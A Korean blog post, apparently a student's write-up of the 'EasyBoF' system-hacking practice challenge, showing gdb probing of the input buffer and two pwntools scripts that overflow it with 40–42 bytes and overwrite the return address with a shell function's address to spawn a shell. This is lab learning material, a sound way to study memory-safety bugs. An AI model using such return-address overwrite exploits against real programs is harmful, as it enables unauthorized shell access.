EasyBoF를 실행한 모습니다.
전 문제인 HelloBoF와 비슷한 모습이다.
gdb기능을 이용해보자.
ni를 통해 넘어가다 main+77을 지나니 입력을 할 수 있는 창이 떠서 중요함수 임을 알았다.
같은 방법으로 process 내부에서 read부분을 지나면 입력창이 떠서 브레이크포인트를 걸어놓고 이 부분이 핵심임을 알았다.
버퍼 구분을 위해서 aaaaaaaaaaaaaaaaaa을 입력해보았다.
주소 0xff8ad7d4에 내가 입력한 값이 들어간 것을 확인했고 , 상세 값을 확인하기 위해서 주소값으로 접근해 보았다.
x/20wx 0xff8ad7d4
내가 입력한 값은 a 8개였다 . 0x61로 변환되어서 18개가 들어간 것을 확인 할 수 있었고, 거꾸로 들어간 순서서 역시 확인 가능했다. 이후 남아있는 빈 칸을 계산해보니
28개정도 입력 받을 수 있는 거 같아서 28개를 입력해보기로 했다.
28개가 다 들어간 것을 확인 했고 별다른 점이 없었다. 근데 뒤를 자세히 보니 2칸이 더 비는 거 같아서 30을 입력해보았다.
(0a는 엔터)
그 뒤도 넣을 수 있을꺼 같아서 과감하게 50개의 a를 적어보았다.
입력이 안 된다.
44까지 입력이 되는것을 확인했다.
이상한 점은 43개를 넣어도 44개를 넣어도 42개이상으로는 넘어갈 수 없는 것 이었다.
여기서 든 생각은 버퍼 오버플로우를 통해서 쉘 권한을 탈취하는 문제이니 중요함수는 40~44부분 중에 있지 않을까 생각을 했다.
오버플로우를 터트리기 위해서 exploit.py코드를를 작성해보았다.
from pwn import *
p = process("/app/EasyBoF/easybof")
shell_addr = 0x8049276 // p shell 로 확인
payload = b'\x61' * 40 //61개의 a를 40개 입력
payload += p32(shell_addr) //리틀 인디안 형식으로 연결
p.sendline(payload) // 만든 paylaod 전송
p.interactive() // 사용자와 상호작용하게 해줌
gdb.attach(p)
pause()
이 코드를 넣어서 디버깅을 하면서 알아낸 사실은 아까 알아낸 쉘 주소를 침범하면 이론상 오버플로우가 가능했다. 근데 그냥 문제 상에서 봤을땐 주소가 보이지 않았는데 , 디버깅을 해보니 정확히 보였다.
정확히 41번째칸부터 44번째까지에 있는 것이었다.
확실히 중요한 부분인 것을 알았고, 41개부터 넣어보았다.
메인을 침범한 듯 했으나, 쉘은 탈취 되지 않았다.
from pwn import *
p = process("/app/EasyBoF/easybof")
shell_addr = 0x8049276 // p shell 로 확인
payload = b'\x61' * 42 //61개의 a를 42개 입력
payload += p32(shell_addr) //리틀 인디안 형식으로 연결
p.sendline(payload) // 만든 paylaod 전송
p.interactive() // 사용자와 상호작용하게 해줌
프롬프트 창에 쉘을 얻었다는 문구가 나왔고, 실제로 쉘의 기능이 사용이 가능했다.
위 exploit.py코드를 문제서버에서 터트린다면 EasyBoF문제의 Flag를 획득할 수 있다.
'실습 > [System Hacking 실습]' 카테고리의 다른 글
HelloBoF (0) | 2023.04.02 |
---|---|
crackme4번 문제 (0) | 2023.03.27 |
CrackMe 3번 문제 풀이 (0) | 2023.03.26 |
Crackme 2번 문제 풀이 (0) | 2023.03.17 |
Crackme 1번 문제 (0) | 2023.03.17 |